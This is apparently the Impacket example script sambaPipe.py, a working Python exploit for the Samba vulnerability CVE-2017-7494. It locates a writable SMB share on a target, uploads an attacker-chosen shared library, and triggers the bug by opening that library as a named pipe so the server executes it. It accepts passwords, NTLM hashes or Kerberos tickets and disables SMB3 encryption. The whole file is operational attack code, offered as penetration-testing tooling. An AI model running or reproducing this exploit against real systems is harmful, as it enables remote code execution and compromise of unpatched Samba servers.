2-sambaPipe.py 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290
  1. #!/usr/bin/env python
  2. # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
  3. #
  4. # This software is provided under under a slightly modified version
  5. # of the Apache Software License. See the accompanying LICENSE file
  6. # for more information.
  7. #
  8. #
  9. # Author:
  10. # beto (@agsolino)
  11. #
  12. # Description:
  13. # This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
  14. # the -so parameter.
  15. #
  16. # The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
  17. # retrieved by using NetrShareEnum() API with info level 2.
  18. #
  19. # Example:
  20. #
  21. # ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
  22. #
  23. # It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
  24. # to use for authentication will be 'bill' and the password will be asked.
  25. #
  26. # ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
  27. #
  28. # Same as before, but anonymous authentication will be used.
  29. #
  30. #
  31. import argparse
  32. import logging
  33. import sys
  34. from os import path
  35. from impacket import version
  36. from impacket.examples import logger
  37. from impacket.nt_errors import STATUS_SUCCESS
  38. from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
  39. FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
  40. from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
  41. SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
  42. from impacket.smbconnection import SMBConnection
  43. class PIPEDREAM:
  44. def __init__(self, smbClient, options):
  45. self.__smbClient = smbClient
  46. self.__options = options
  47. def isShareWritable(self, shareName):
  48. logging.debug('Checking %s for write access' % shareName)
  49. try:
  50. logging.debug('Connecting to share %s' % shareName)
  51. tid = self.__smbClient.connectTree(shareName)
  52. except Exception as e:
  53. logging.debug(str(e))
  54. return False
  55. try:
  56. self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
  57. writable = True
  58. except Exception:
  59. writable = False
  60. pass
  61. return writable
  62. def findSuitableShare(self):
  63. from impacket.dcerpc.v5 import transport, srvs
  64. rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
  65. filename=r'\srvsvc', smb_connection=self.__smbClient)
  66. dce = rpctransport.get_dce_rpc()
  67. dce.connect()
  68. dce.bind(srvs.MSRPC_UUID_SRVS)
  69. resp = srvs.hNetrShareEnum(dce, 2)
  70. for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
  71. if self.isShareWritable(share['shi2_netname'][:-1]):
  72. sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
  73. return share['shi2_netname'][:-1], sharePath
  74. raise Exception('No suitable share found, aborting!')
  75. def uploadSoFile(self, shareName):
  76. # Let's extract the filename from the input file pathname
  77. fileName = path.basename(self.__options.so.replace('\\', '/'))
  78. logging.info('Uploading %s to target' % fileName)
  79. fh = open(self.__options.so, 'rb')
  80. self.__smbClient.putFile(shareName, fileName, fh.read)
  81. fh.close()
  82. return fileName
  83. def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
  84. impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
  85. createContexts=None):
  86. packet = self.__smbClient.getSMBServer().SMB_PACKET()
  87. packet['Command'] = SMB2_CREATE
  88. packet['TreeID'] = treeId
  89. if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
  90. packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
  91. smb2Create = SMB2Create()
  92. smb2Create['SecurityFlags'] = 0
  93. smb2Create['RequestedOplockLevel'] = oplockLevel
  94. smb2Create['ImpersonationLevel'] = impersonationLevel
  95. smb2Create['DesiredAccess'] = desiredAccess
  96. smb2Create['FileAttributes'] = fileAttributes
  97. smb2Create['ShareAccess'] = shareMode
  98. smb2Create['CreateDisposition'] = creationDisposition
  99. smb2Create['CreateOptions'] = creationOptions
  100. smb2Create['NameLength'] = len(fileName) * 2
  101. if fileName != '':
  102. smb2Create['Buffer'] = fileName.encode('utf-16le')
  103. else:
  104. smb2Create['Buffer'] = b'\x00'
  105. if createContexts is not None:
  106. smb2Create['Buffer'] += createContexts
  107. smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
  108. smb2Create['CreateContextsLength'] = len(createContexts)
  109. else:
  110. smb2Create['CreateContextsOffset'] = 0
  111. smb2Create['CreateContextsLength'] = 0
  112. packet['Data'] = smb2Create
  113. packetID = self.__smbClient.getSMBServer().sendSMB(packet)
  114. ans = self.__smbClient.getSMBServer().recvSMB(packetID)
  115. if ans.isValidAnswer(STATUS_SUCCESS):
  116. createResponse = SMB2Create_Response(ans['Data'])
  117. # The client MUST generate a handle for the Open, and it MUST
  118. # return success and the generated handle to the calling application.
  119. # In our case, str(FileID)
  120. return str(createResponse['FileID'])
  121. def openPipe(self, sharePath, fileName):
  122. # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
  123. # to make things easier for the caller. Not this time ;)
  124. treeId = self.__smbClient.connectTree('IPC$')
  125. sharePath = sharePath.replace('\\', '/')
  126. pathName = '/' + path.join(sharePath, fileName)
  127. logging.info('Final path to load is %s' % pathName)
  128. logging.info('Triggering bug now, cross your fingers')
  129. if self.__smbClient.getDialect() == SMB_DIALECT:
  130. _, flags2 = self.__smbClient.getSMBServer().get_flags()
  131. pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
  132. ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
  133. ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
  134. ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
  135. ntCreate['Parameters']['FileNameLength'] = len(pathName)
  136. ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
  137. ntCreate['Parameters']['FileAttributes'] = 0
  138. ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
  139. ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
  140. ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
  141. ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
  142. ntCreate['Parameters']['SecurityFlags'] = 0
  143. ntCreate['Parameters']['CreateFlags'] = 0x16
  144. ntCreate['Data']['FileName'] = pathName
  145. if flags2 & SMB.FLAGS2_UNICODE:
  146. ntCreate['Data']['Pad'] = 0x0
  147. return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
  148. else:
  149. return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
  150. creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
  151. def run(self):
  152. logging.info('Finding a writeable share at target')
  153. shareName, sharePath = self.findSuitableShare()
  154. logging.info('Found share %s with path %s' % (shareName, sharePath))
  155. fileName = self.uploadSoFile(shareName)
  156. logging.info('Share path is %s' % sharePath)
  157. try:
  158. self.openPipe(sharePath, fileName)
  159. except Exception as e:
  160. if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
  161. logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho')
  162. else:
  163. logging.info('Target likely not vulnerable, Unexpected %s' % str(e))
  164. finally:
  165. logging.info('Removing file from target')
  166. self.__smbClient.deleteFile(shareName, fileName)
  167. # Process command-line arguments.
  168. if __name__ == '__main__':
  169. # Init the example's logger theme
  170. logger.init()
  171. print(version.BANNER)
  172. parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit")
  173. parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
  174. parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')
  175. parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
  176. group = parser.add_argument_group('authentication')
  177. group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
  178. group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
  179. group.add_argument('-k', action="store_true",
  180. help='Use Kerberos authentication. Grabs credentials from ccache file '
  181. '(KRB5CCNAME) based on target parameters. If valid credentials '
  182. 'cannot be found, it will use the ones specified in the command '
  183. 'line')
  184. group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
  185. '(128 or 256 bits)')
  186. group = parser.add_argument_group('connection')
  187. group.add_argument('-dc-ip', action='store', metavar="ip address",
  188. help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
  189. 'the target parameter')
  190. group.add_argument('-target-ip', action='store', metavar="ip address",
  191. help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
  192. 'This is useful when target is the NetBIOS name and you cannot resolve it')
  193. group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
  194. help='Destination port to connect to SMB Server')
  195. if len(sys.argv) == 1:
  196. parser.print_help()
  197. sys.exit(1)
  198. options = parser.parse_args()
  199. if options.debug is True:
  200. logging.getLogger().setLevel(logging.DEBUG)
  201. else:
  202. logging.getLogger().setLevel(logging.INFO)
  203. import re
  204. domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
  205. options.target).groups('')
  206. # In case the password contains '@'
  207. if '@' in address:
  208. password = password + '@' + address.rpartition('@')[0]
  209. address = address.rpartition('@')[2]
  210. if options.target_ip is None:
  211. options.target_ip = address
  212. if domain is None:
  213. domain = ''
  214. if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
  215. from getpass import getpass
  216. password = getpass("Password:")
  217. if options.aesKey is not None:
  218. options.k = True
  219. if options.hashes is not None:
  220. lmhash, nthash = options.hashes.split(':')
  221. else:
  222. lmhash = ''
  223. nthash = ''
  224. try:
  225. smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
  226. if options.k is True:
  227. smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
  228. else:
  229. smbClient.login(username, password, domain, lmhash, nthash)
  230. if smbClient.getDialect() != SMB_DIALECT:
  231. # Let's disable SMB3 Encryption for now
  232. smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
  233. pipeDream = PIPEDREAM(smbClient, options)
  234. pipeDream.run()
  235. except Exception as e:
  236. if logging.getLogger().level == logging.DEBUG:
  237. import traceback
  238. traceback.print_exc()
  239. logging.error(str(e))